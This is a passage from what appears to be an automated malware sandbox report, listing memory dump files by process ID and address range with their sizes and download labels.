memory/1712-94-0x0000000000FDB000-0x0000000001012000-memory.dmp

Filesize
220KB

Download
memory/1712-93-0x0000000000FD0000-0x0000000001050000-memory.dmp

Filesize
512KB

Download
memory/1712-91-0x0000000000FD0000-0x0000000001050000-memory.dmp

Filesize
512KB

Download
memory/2004-62-0x000000000236B000-0x00000000023A2000-memory.dmp

Filesize
220KB

Download
memory/2004-61-0x0000000002364000-0x0000000002367000-memory.dmp

Filesize
12KB

Download
memory/2004-60-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/2004-59-0x000000001B0E0000-0x000000001B3C2000-memory.dmp

Filesize
2.9MB

Download
memory/2032-81-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2032-83-0x000000000279B000-0x00000000027D2000-memory.dmp

Filesize
220KB

Download
memory/2032-82-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2040-114-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2040-107-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download